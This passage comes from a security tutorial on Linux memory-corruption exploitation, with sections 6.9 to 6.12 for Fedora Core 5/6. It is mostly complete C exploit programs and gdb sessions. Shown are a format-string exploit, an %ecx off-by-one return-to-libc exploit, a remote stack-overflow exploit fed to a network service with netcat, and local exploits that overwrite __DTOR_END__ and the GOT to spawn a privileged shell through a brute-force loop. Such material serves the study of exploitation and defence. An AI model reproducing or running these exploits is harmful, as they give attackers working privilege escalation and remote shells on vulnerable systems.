i+=4; *(long *)&atk_head[i]=dtors_addr+2; i+=4; sprintf(args_addr, " \"%c%c%c\" \"%c%c%c\"" " \"%c%c%c\" \"%c%c%c\"" " \"%c%c%c\" \"%c%c%c\"" " \"%c%c%c\" \"%c%c%c\"" " \"%c%c%c\" \"%c%c%c\"" " \"%c%c%c\" \"%c%c%c\"" " \"%c%c%c\" \"%c%c%c\"" " \"%c%c%c\" \"\\%c%c%c\"", (libc_buf[0]+0),libc_buf[1],libc_buf[2], (libc_buf[0]+2),libc_buf[1],libc_buf[2], (libc_buf[0]+4),libc_buf[1],libc_buf[2], (libc_buf[0]+6),libc_buf[1],libc_buf[2], (libc_buf[0]+8),libc_buf[1],libc_buf[2], (libc_buf[0]+10),libc_buf[1],libc_buf[2], (libc_buf[0]+12),libc_buf[1],libc_buf[2], (libc_buf[0]+14),libc_buf[1],libc_buf[2], (libc_buf[0]+16),libc_buf[1],libc_buf[2], (libc_buf[0]+18),libc_buf[1],libc_buf[2], (libc_buf[0]+20),libc_buf[1],libc_buf[2], (libc_buf[0]+22),libc_buf[1],libc_buf[2], (libc_buf[0]+24),libc_buf[1],libc_buf[2], (libc_buf[0]+26),libc_buf[1],libc_buf[2], (libc_buf[0]+28),libc_buf[1],libc_buf[2], (libc_buf[0]+30),libc_buf[1],libc_buf[2]); sprintf(buf,"%s" /* argv[1] */ " %s" /* dtors address */ "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" "%%%ux%%%d\\$n%%%ux%%%d\\$n" #ifdef DEBUG_STR "#%%%d\\$s#" /* shellcode check */ "%%5\\$s.%%6\\$s." /* dtors address check */ #endif ,argv[1], atk_head, (shellcode[0]-strlen(atk_head)),j+0, (0x10000+shellcode[1])-shellcode[0],j+1, (0x10000+shellcode[2])-shellcode[1],j+2, (0x10000+shellcode[3])-shellcode[2],j+3, (0x10000+shellcode[4])-shellcode[3],j+4, (0x10000+shellcode[5])-shellcode[4],j+5, (0x10000+shellcode[6])-shellcode[5],j+6, (0x10000+shellcode[7])-shellcode[6],j+7, (0x10000+shellcode[8])-shellcode[7],j+8, (0x10000+shellcode[9])-shellcode[8],j+9, (0x10000+shellcode[10])-shellcode[9],j+10, (0x10000+shellcode[11])-shellcode[10],j+11, (0x10000+shellcode[12])-shellcode[11],j+12, (0x10000+shellcode[13])-shellcode[12],j+13, (0x10000+shellcode[14])-shellcode[13],j+14, (0x10000+shellcode[15])-shellcode[14],j+15, (0x10000+retaddr_s)-shellcode[15],sflag+0, (0x10000+retaddr_f)-retaddr_s,sflag+1,j); for(i=0;i<10;i++) { strcat(buf,args_addr); /* library address */ strcat(buf," "); strcat(buf,align_buf); /* pad */ } system(buf); fflush(stdout); } } -- ----[ 6.9 - %ecx off-by-one exploit and the test exploit Before using %ecx off-by-one exploit on this chapter, you should study this technique well and adapt it to your own system. This is tested on F/C 6 and target program's code is blow. -- strcpy.c -- int main(int argc,char *argv[]){ char buf[256]; strcpy(buf,argv[1]); } -- Test exploit code: -- 0x82-ecx_offbyone_test_ex.c -- /* test exploit */ int main() { char *environs[]={ "A01", /* 1 */ "A02", /* 2 */ "A03", /* 3 */ "A04", /* 4 */ "A05", /* 5 */ "A06", /* 6 */ "A07", /* 7 */ "A08", /* 8 */ "A09", /* 9 */ "A10", /* 10 */ "A11", /* 11 */ "A12", /* 12 */ "A13", /* 13 */ "A14", /* 14 */ "A15", /* 15 */ "A16", /* 16 */ "A17", /* 17 */ "A18", /* 18 */ "A19", /* 19 */ "A20", /* 20 */ "A21", /* 21 */ "A22", /* 22 */ "A23", /* 23 */ "A24", /* 24 */ "A25", /* 25 */ "A26", /* 26 */ "A27", /* 27 */ "A28", /* 28 */ "A29", /* 29 */ "A30", /* 30 */ 0}; char *arguments[]={ "./strcpy", "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x82\x83\x04\x08", /* 0x08048382 : main() epilog */ 0}; execve("./strcpy",arguments,environs); } -- In the exploit code, I have assigned 30 environment variables for the test and filled 252 of local variables with ret code. Call ret for 63 times and move %esp register by 4bytes. Finally, insert epilog address of main() to make epilog happen again. let's test and complete the exploit. -- [root@localhost main_based]# gcc -o strcpy strcpy.c strcpy.c: In function ?ain? strcpy.c:3: warning: incompatible implicit declaration of built-in function ?trcpy? [root@localhost main_based]# gdb strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x08048354 : lea 0x4(%esp),%ecx 0x08048358 : and $0xfffffff0,%esp 0x0804835b : pushl 0xfffffffc(%ecx) 0x0804835e : push %ebp 0x0804835f : mov %esp,%ebp 0x08048361 : push %ecx 0x08048362 : sub $0x114,%esp 0x08048368 : mov 0x4(%ecx),%eax 0x0804836b : add $0x4,%eax 0x0804836e : mov (%eax),%eax 0x08048370 : mov %eax,0x4(%esp) 0x08048374 : lea 0xfffffefc(%ebp),%eax 0x0804837a : mov %eax,(%esp) 0x0804837d : call 0x8048298 0x08048382 : add $0x114,%esp ; start of main() epilog 0x08048388 : pop %ecx 0x08048389 : pop %ebp 0x0804838a : lea 0xfffffffc(%ecx),%esp 0x0804838d : ret 0x0804838e : nop 0x0804838f : nop End of assembler dump. (gdb) q [root@localhost main_based]# gcc -o test test.c ; testing test exploit [root@localhost main_based]# gdb test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /tmp/main_based/test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x00363241 in ?? () from /lib/libc.so.6 ; executed A26 as a return address (gdb) x $esp 0xbff9afe3: 0x00373241 (gdb) x/s $esp 0xbff9afe3: "A27" (gdb) x/s $ecx 0xbff9afe3: "A27" (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost main_based]# -- As you can see above, 27th environment variable is popped into %ecx register. %esp register is at %ecx - 4 , so it is 26th environment variable. If ret code (pop %eip) happen now, return address would be 0x00263241, "A26". It is time to complete the exploit code base on the result above. -- 0x82-ecx_offbyone_strcpy.c -- /* 0x82-ecx_offbyone_strcpy.c */ int main() { // main() epilog: 0x08048382 // main() ret: 0x0804838d char *environs[]={ "A01", /* 1 */ "A02", /* 2 */ "A03", /* 3 */ "A04", /* 4 */ "A05", /* 5 */ "A06", /* 6 */ "A07", /* 7 */ "A08", /* 8 */ "A09", /* 9 */ "A10", /* 10 */ "A11", /* 11 */ "A12", /* 12 */ "A13", /* 13 */ "A14", /* 14 */ "A15", /* 15 */ "A16", /* 16 */ "A17", /* 17 */ "A18", /* 18 */ "A19", /* 19 */ "A20", /* 20 */ "A21", /* 21 */ "A22", /* 22 */ "A23", /* 23 */ "A24", /* 24 */ "A25", /* 25 */ "\xff\xdb\x19\x00", /* 26 */ // A26: 0x19dda0 execve(); "A27", /* 27 */ "\xa2\xf2\x22\x00", /* 28 */ // A28: 0x22f2a2 "\x00", /* 29 */ // A29: 0x00000000 "\x00", /* 30 */ "\x00", /* 31 */ "\x00", /* 32 */ "\x00", /* 33 */ // A33: 0x00000000 "\x00", /* 34 */ "\x00", /* 35 */ "\x00", /* 36 */ 0}; char *arguments[]={ "./strcpy", "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x82\x83\x04\x08", /* main() epilog */ 0}; execve("./strcpy",arguments,environs); } -- Now that, 26th environment variable is a return address, I entered the address of exeve() into this variable. 27th will be the address of %ecx and arguments of execve() will be saved since 28th variable. 28th variable will be the first argument of execve() and it has to be an address somewhere in library whose value is string "sh". -- [root@localhost main_based]# gdb strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) br *main Breakpoint 1 at 0x8048354 (gdb) r test Starting program: /tmp/main_based/strcpy test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048354 in main () (gdb) x execve 0x19dc00 : 0x8908ec83 (gdb) x 0x22f2a2 0x22f2a2 <_nl_default_dirname+90>: 0x65006873 (gdb) x/s 0x22f2a2 0x22f2a2 <_nl_default_dirname+90>: "sh" ; address of "sh" when execve() function address is 0x19dc00 (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost main_based]# -- There will be 4bytes of null from 29th to 32nd variable as the second argument of exeve() function. Because it is impossible to enter continuous 4bytes value at once on environment variable, I entered 1byte 4 times. The null value for the third argument is same. It will be save from 33rd to 36th variable. You can see these arguments when you debug the exploit. -- [root@localhost main_based]# gdb 0x82-x_strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r ... (repeat untill execve() function is called) The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/main_based/0x82-x_strcpy (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x00373241 in ?? () (gdb) x $esp 0xbfb96fe7: 0x0022f2a2 ; first argument of execve() (gdb) 0xbfb96feb: 0x00000000 ; second argument of execve() (gdb) 0xbfb96fef: 0x00000000 ; third argument of execve() (gdb) making of execve(): execve(0x0022f2a2,0x00000000,0x00000000); -- The first argument of exeve() is string "sh", and the second and the third are filled with null as we expected. Make "sh" program and try an attack, then we can get a shell eventually. -- sh.c -- int main() { setuid(0); setgid(0); execl("/bin/bash","bash",0); } -- ----[ 6.10 - string copy plt + do_system() __DTOR_END__ overwrite remote stack overflow exploit This code is tested on F/C 6. It works perfect on F/C 5 and 6. Below is the source of target program. -- rvuln.c -- #include int main() { f("0x82"); } int f(char *str){ char buf1[256]; char buf2[8]; gets(buf1); strcpy(buf2,str); } -- rvuln program uses strcpy() to use plt. I will try to take advantage of gets() function for the stack overflow. Compile the program and make it tfido daemon service by setting xinetd. Below is exploit code made for easy debug. -- 0x82-remote_x_strcpy.c -- /* 0x82-remote_x_strcpy.c */ #include #include #define STRCPY 0x080482c8 #define ESP_MOVE 0x08048485 #define DO_DTORS_AUX 0x08048330 #define DTOR_END 0x080494c8 //#define DO_SYSTEM 0x001457d0 //#define SH_STRING 0x00006873 #define DO_SYSTEM_d0 0x080480b8 #define DO_SYSTEM_57 0x080483f3 #define DO_SYSTEM_14 0x08048060 #define SH_STRING_73 0x080481f4 #define SH_STRING_68 0x0804829e #define NULL_BYTE_00 0x08048066 struct string_copy { unsigned long func_plt; unsigned long esp_move; unsigned long param1; unsigned long param2; }; struct funcs { struct string_copy func1_do_system; struct string_copy func2_do_system; struct string_copy func3_do_system; struct string_copy func4_do_system; struct string_copy func1_sh_string; struct string_copy func2_sh_string; struct string_copy func3_sh_string; struct string_copy func4_sh_string; unsigned long __do_global_dtors_aux_func; }; int main() { char exploit_buf[260+sizeof(struct funcs)+8+4]; struct funcs do_ex; int i=0; memset(exploit_buf,0,sizeof(exploit_buf)); memset(exploit_buf,0x82,260); /* do_system part */ do_ex.func1_do_system.func_plt=STRCPY; do_ex.func1_do_system.esp_move=ESP_MOVE; do_ex.func1_do_system.param1=(DTOR_END+i++); do_ex.func1_do_system.param2=(DO_SYSTEM_d0); do_ex.func2_do_system.func_plt=STRCPY; do_ex.func2_do_system.esp_move=ESP_MOVE; do_ex.func2_do_system.param1=(DTOR_END+i++); do_ex.func2_do_system.param2=(DO_SYSTEM_57); do_ex.func3_do_system.func_plt=STRCPY; do_ex.func3_do_system.esp_move=ESP_MOVE; do_ex.func3_do_system.param1=(DTOR_END+i++); do_ex.func3_do_system.param2=(DO_SYSTEM_14); do_ex.func4_do_system.func_plt=STRCPY; do_ex.func4_do_system.esp_move=ESP_MOVE; do_ex.func4_do_system.param1=(DTOR_END+i++); do_ex.func4_do_system.param2=(NULL_BYTE_00); /* sh string part */ do_ex.func1_sh_string.func_plt=STRCPY; do_ex.func1_sh_string.esp_move=ESP_MOVE; do_ex.func1_sh_string.param1=(DTOR_END+i++); do_ex.func1_sh_string.param2=(SH_STRING_73); do_ex.func2_sh_string.func_plt=STRCPY; do_ex.func2_sh_string.esp_move=ESP_MOVE; do_ex.func2_sh_string.param1=(DTOR_END+i++); do_ex.func2_sh_string.param2=(SH_STRING_68); do_ex.func3_sh_string.func_plt=STRCPY; do_ex.func3_sh_string.esp_move=ESP_MOVE; do_ex.func3_sh_string.param1=(DTOR_END+i++); do_ex.func3_sh_string.param2=(NULL_BYTE_00); do_ex.func4_sh_string.func_plt=STRCPY; do_ex.func4_sh_string.esp_move=ESP_MOVE; do_ex.func4_sh_string.param1=(DTOR_END+i++); do_ex.func4_sh_string.param2=(NULL_BYTE_00); do_ex.__do_global_dtors_aux_func=(DO_DTORS_AUX); memcpy(exploit_buf+strlen(exploit_buf),&do_ex,sizeof(do_ex)); fprintf(stdout,"%s\n",exploit_buf); fflush(stdout); return 1; } /* eoc */ -- Through debug work after the compile, you should check whether the address of each function and sh string is right. These address can be varied by the difference among systems. You just find and enter right address then it will work fine. -- [root@localhost tmp]# objdump -d rvuln | grep ':' 080482c8 : ; Address of plt of strcpy() function [root@localhost tmp]# -- Debugging result for fedora core 6 glibc 2.5, gcc 4.1.1-30 gdb: -- [root@localhost tmp]# gcc -o 0x82-remote_x_strcpy 0x82-remote_x_strcpy.c [root@localhost tmp]# ./0x82-remote_x_strcpy > res [root@localhost tmp]# gdb rvuln -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r test ... (gdb) br *do_system Breakpoint 1 at 0xb967d0 (gdb) r < res ... Breakpoint 1, 0x001457d0 in do_system () from /lib/libc.so.6 (gdb) print __do_global_dtors_aux $1 = {} 0x8048330 <__do_global_dtors_aux> (gdb) print do_system $2 = {} 0x1457d0 (gdb) x/i 0x08048485 0x8048485 <__do_global_ctors_aux+37>: pop %ebx ; __do_global_ctors_aux() epilog (gdb) 0x8048486 <__do_global_ctors_aux+38>: pop %ebp (gdb) 0x8048487 <__do_global_ctors_aux+39>: ret (gdb) x/xb 0x080480b8 0x80480b8: 0xd0 ; 1byte of will-be do_system() address (gdb) x/xb 0x080483f3 0x80483f3 <__libc_csu_init+3>: 0x57 ; 1byte of will-be do_system() address (gdb) x/xb 0x08048060 0x8048060: 0x14 ; 1byte of will-be do_system() address (gdb) x/xb 0x080481f4 0x80481f4: 0x73 ; 1byte of sh string (gdb) x/xb 0x0804829e 0x804829e <__gmon_start__@plt+6>: 0x68 ; 1byte of sh string (gdb) x/xb 0x08048066 0x8048066: 0x00 ; null character (gdb) x &__JCR_LIST__-1 0x80494c8 <__DTOR_END__>: 0x001457d0 ; address of __DTOR_END__ (gdb) 0x80494cc <__JCR_LIST__>: 0x00006873 ; address of __DTOR_END__+4 (gdb) (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost tmp]# while [ 1 ] ; do (./0x82-remote_x_strcpy; cat)| nc localhost 60177; done -- ----[ 6.11 - string copy plt + execve() __DTOR_END__ overwrite local stack overflow exploit Attack code on this chapter is tested on F/C 6 and it will work on F/C 5 too. Below is the target vuln.c code. -- vuln.c -- int main(int argc,char *argv[]){ f(argv[1]); } int f(char *str){ char buf[8]; sprintf(buf,"%stest",str); } -- vuln program is made to use sprintf() function's plt. exeploit code below will try a brute-force attack. -- 0x82-local_x_execve.c -- /* 0x82-local_x_execve.c */ #include #include #define SPRINTF 0x08048278 #define ESP_MOVE 0x08048445 #define DO_DTORS_AUX_PROLOG_END 0x08048306 #define DTOR_END 0x08049488 #define EXECVE 0x0019dbff #define SH_STRING 0x00006873 #define EXECVE_ff 0x08048487 #define EXECVE_db 0x08048b68 #define EXECVE_19 0x08048032 #define SH_STRING_73 0x08048122 #define SH_STRING_68 0x0804827e #define NULL_BYTE_00 0x08048008 struct string_copy { unsigned long func_plt; unsigned long esp_move; unsigned long param1; unsigned long param2; }; struct funcs { struct string_copy func1_execve; struct string_copy func2_execve; struct string_copy func3_execve; struct string_copy func4_execve; struct string_copy func1_sh_string; struct string_copy func2_sh_string; struct string_copy func3_sh_string; struct string_copy func4_sh_string; unsigned long __do_global_dtors_aux_end; unsigned long execve_arg1; unsigned long execve_arg2; unsigned long execve_arg3; }; int main() { char exploit_buf[260+sizeof(struct funcs)+8+4]; struct funcs do_ex; int i=0; int pid=0; FILE *fp; memset(exploit_buf,0,sizeof(exploit_buf)); memset(exploit_buf,0x82,12); /* execve part */ do_ex.func1_execve.func_plt=SPRINTF; do_ex.func1_execve.esp_move=ESP_MOVE; do_ex.func1_execve.param1=(DTOR_END+i++); do_ex.func1_execve.param2=(EXECVE_ff); do_ex.func2_execve.func_plt=SPRINTF; do_ex.func2_execve.esp_move=ESP_MOVE; do_ex.func2_execve.param1=(DTOR_END+i++); do_ex.func2_execve.param2=(EXECVE_db); do_ex.func3_execve.func_plt=SPRINTF; do_ex.func3_execve.esp_move=ESP_MOVE; do_ex.func3_execve.param1=(DTOR_END+i++); do_ex.func3_execve.param2=(EXECVE_19); do_ex.func4_execve.func_plt=SPRINTF; do_ex.func4_execve.esp_move=ESP_MOVE; do_ex.func4_execve.param1=(DTOR_END+i++); do_ex.func4_execve.param2=(NULL_BYTE_00); /* sh string part */ do_ex.func1_sh_string.func_plt=SPRINTF; do_ex.func1_sh_string.esp_move=ESP_MOVE; do_ex.func1_sh_string.param1=(DTOR_END+i++); do_ex.func1_sh_string.param2=(SH_STRING_73); do_ex.func2_sh_string.func_plt=SPRINTF; do_ex.func2_sh_string.esp_move=ESP_MOVE; do_ex.func2_sh_string.param1=(DTOR_END+i++); do_ex.func2_sh_string.param2=(SH_STRING_68); do_ex.func3_sh_string.func_plt=SPRINTF; do_ex.func3_sh_string.esp_move=ESP_MOVE; do_ex.func3_sh_string.param1=(DTOR_END+i++); do_ex.func3_sh_string.param2=(NULL_BYTE_00); do_ex.func4_sh_string.func_plt=SPRINTF; do_ex.func4_sh_string.esp_move=ESP_MOVE; do_ex.func4_sh_string.param1=(DTOR_END+i++); do_ex.func4_sh_string.param2=(NULL_BYTE_00); do_ex.__do_global_dtors_aux_end=(DO_DTORS_AUX_PROLOG_END); do_ex.execve_arg1=(DTOR_END+4); do_ex.execve_arg2=(NULL_BYTE_00); do_ex.execve_arg3=(NULL_BYTE_00); memcpy(exploit_buf+strlen(exploit_buf),&do_ex,sizeof(do_ex)); if((fp=fopen("sh.c","w"))==NULL) { fprintf(stderr,"[-] sh.c fopen error\n"); exit(-1); } fprintf(fp,"int main(){" "setreuid(geteuid(),geteuid());" "setregid(getegid(),getegid());" "unlink(\"sh\");" "unlink(\"sh.c\");" "execl(\"/bin/sh\",\"sh\",0);" "}\n"); fclose(fp); system("gcc -o sh sh.c"); while(1) { if((fp=fopen("sh.c","r"))==NULL) { break; } if((pid=fork())==0) { execl("./vuln","vuln",exploit_buf,0); } wait(&pid); } return 1; } -- After compile and some debugging, check whether each function address and sh string's address is right. These address can be varied depends on system environment. You just need to find them and fix them. -- [root@localhost tmp]# objdump -d vuln | grep ":" 08048278 : ; sprintf()'s plt address [root@localhost tmp]#c -- To debug exploit code, annotate the brute-force stuff. Annotate from 125th line. like this: -- 125 // while(1) 126 { 127 if((fp=fopen("sh.c","r"))==NULL) 128 { 129 // break; 130 } 131 // if((pid=fork())==0) 132 { 133 execl("./vuln","vuln",exploit_buf,0); 134 } 135 // wait(&pid); -- Debug report for fedora core 6 glibc 2.5, gcc 4.1.1-30 gdb: -- [root@localhost __DTOR_END_GLOBAL_OFFSET_TABLE_]# gdb -q 0x82-local_x_execve (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /tmp/__DTOR_END_GLOBAL_OFFSET_TABLE_/0x82-local_x_execve (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) sh.c: In function ?ain? sh.c:1: warning: incompatible implicit declaration of built-in function ?xecl? Program received signal SIGSEGV, Segmentation fault. 0x0019dbff in _exit () from /lib/libc.so.6 (gdb) print execve $1 = ( *) 0x19dbff <_exit+27> ; use execve()-1 address. (gdb) x/i 0x08048306 0x8048306: cmpb $0x0,0x804957c ; right after __do_global_dtors_aux() prolog (gdb) x/i 0x08048445 0x8048445 <_start+5>: pop %ebx ; _start()'s epilog (gdb) 0x8048446 <_start+6>: pop %ebp (gdb) 0x8048447 <_start+7>: ret (gdb) x/xb 0x08048487 0x8048487 : 0xff ; 1byte that will be execve() address (gdb) x/xb 0x08048b68 0x8048b68: 0xdb ; 1byte that will be execve() address (gdb) x/xb 0x08048032 0x8048032: 0x19 ; 1byte that will be execve() address (gdb) x/xb 0x08048122 0x8048122: 0x73 ; 1byte from sh string (gdb) x/xb 0x0804827e 0x804827e: 0x68 ; 1byte from sh string (gdb) x/xw 0x08048008 0x8048008: 0x00000000 ; null value (gdb) x 0x08049488 0x8049488: 0x0019dbff ; __DTOR_END__ address (gdb) 0x804948c: 0x00006873 ; __DTOR_END__+4 address (gdb) 0x8049490: 0x00000000 (gdb) -- ----[ 6.12 - string copy plt + execve() GOT overwrite local stack overflow exploit Exploit codes on this chapter are also test on F/C 6 and will work fine on both F/C 5 and 6. vuln.c code is below. -- vuln.c -- int main(int argc,char *argv[]){ f(argv[1]); } int f(char *str){ char buf[8]; sprintf(buf,"%stest",str); } -- vuln program is same as coe on 6.11. It uses sprintf()'s plt. Exploit code will try a brute-force attack automatically. -- 0x82-local_got_execve.c -- /* 0x82-local_got_execve.c */ #include #include #define SPRINTF 0x08048278 #define ESP_MOVE 0x08048445 #define FUNC_PLT 0x08048298 /* __libc_start_main() */ #define FUNC_GLOBAL_OFFSET_TABLE_ 0x08049570 #define EXECVE 0x0019dbff #define SH_STRING 0x00006873 #define EXECVE_ff 0x08048487 #define EXECVE_db 0x08048b68 #define EXECVE_19 0x08048032 #define SH_STRING_73 0x08048122 #define SH_STRING_68 0x0804827e #define NULL_BYTE_00 0x08048008 struct string_copy { unsigned long func_plt; unsigned long esp_move; unsigned long param1; unsigned long param2; }; struct funcs { struct string_copy func1_execve; struct string_copy func2_execve; struct string_copy func3_execve; struct string_copy func4_execve; struct string_copy func1_sh_string; struct string_copy func2_sh_string; struct string_copy func3_sh_string; struct string_copy func4_sh_string; unsigned long func_plt; unsigned long dummy_4byte; unsigned long execve_arg1; unsigned long execve_arg2; unsigned long execve_arg3; }; int main() { char exploit_buf[260+sizeof(struct funcs)+8+4]; struct funcs do_ex; int i=0; int pid=0; FILE *fp; memset(exploit_buf,0,sizeof(exploit_buf)); memset(exploit_buf,0x82,12); /* execve part */ do_ex.func1_execve.func_plt=SPRINTF; do_ex.func1_execve.esp_move=ESP_MOVE; do_ex.func1_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func1_execve.param2=(EXECVE_ff); do_ex.func2_execve.func_plt=SPRINTF; do_ex.func2_execve.esp_move=ESP_MOVE; do_ex.func2_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func2_execve.param2=(EXECVE_db); do_ex.func3_execve.func_plt=SPRINTF; do_ex.func3_execve.esp_move=ESP_MOVE; do_ex.func3_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func3_execve.param2=(EXECVE_19); do_ex.func4_execve.func_plt=SPRINTF; do_ex.func4_execve.esp_move=ESP_MOVE; do_ex.func4_execve.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func4_execve.param2=(NULL_BYTE_00); /* sh string part */ do_ex.func1_sh_string.func_plt=SPRINTF; do_ex.func1_sh_string.esp_move=ESP_MOVE; do_ex.func1_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func1_sh_string.param2=(SH_STRING_73); do_ex.func2_sh_string.func_plt=SPRINTF; do_ex.func2_sh_string.esp_move=ESP_MOVE; do_ex.func2_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func2_sh_string.param2=(SH_STRING_68); do_ex.func3_sh_string.func_plt=SPRINTF; do_ex.func3_sh_string.esp_move=ESP_MOVE; do_ex.func3_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func3_sh_string.param2=(NULL_BYTE_00); do_ex.func4_sh_string.func_plt=SPRINTF; do_ex.func4_sh_string.esp_move=ESP_MOVE; do_ex.func4_sh_string.param1=(FUNC_GLOBAL_OFFSET_TABLE_+i++); do_ex.func4_sh_string.param2=(NULL_BYTE_00); do_ex.func_plt=(FUNC_PLT); do_ex.dummy_4byte=0x82828282; do_ex.execve_arg1=(FUNC_GLOBAL_OFFSET_TABLE_+4); do_ex.execve_arg2=(NULL_BYTE_00); do_ex.execve_arg3=(NULL_BYTE_00); memcpy(exploit_buf+strlen(exploit_buf),&do_ex,sizeof(do_ex)); if((fp=fopen("sh.c","w"))==NULL) { fprintf(stderr,"[-] sh.c fopen error\n"); exit(-1); } fprintf(fp,"int main(){" "setreuid(geteuid(),geteuid());" "setregid(getegid(),getegid());" "unlink(\"sh\");" "unlink(\"sh.c\");" "execl(\"/bin/sh\",\"sh\",0);" "}\n"); fclose(fp); system("gcc -o sh sh.c"); while(1) { if((fp=fopen("sh.c","r"))==NULL) { break; } if((pid=fork())==0) { execl("./vuln","vuln",exploit_buf,0); } wait(&pid); } return 1; } -- After compile and some debugging, check whether each function address and sh string's address is right. These address can be varied depends on system environment. You just need to find them and fix them. -- [root@localhost tmp]# objdump -d vuln | grep ":" 08048278 : ; sprintf()'s plt address [root@localhost tmp]# -- To debug exploit code, annotate the brute-force stuff. Annotate from 127th line. like this: -- 127 // while(1) 128 { 129 if((fp=fopen("sh.c","r"))==NULL) 130 { 131 // break; 132 } 133 // if((pid=fork())==0) 134 { 135 execl("./vuln","vuln",exploit_buf,0); 136 } 137 // wait(&pid); -- Debug report for fedora core 6 glibc 2.5, gcc 4.1.1-30 gdb: -- [root@localhost __DTOR_END_GLOBAL_OFFSET_TABLE_]# gdb -q 0x82-local_got_execve (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /tmp/__DTOR_END_GLOBAL_OFFSET_TABLE_/0x82-local_got_execve (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) sh.c: In function ?ain? sh.c:1: warning: incompatible implicit declaration of built-in function 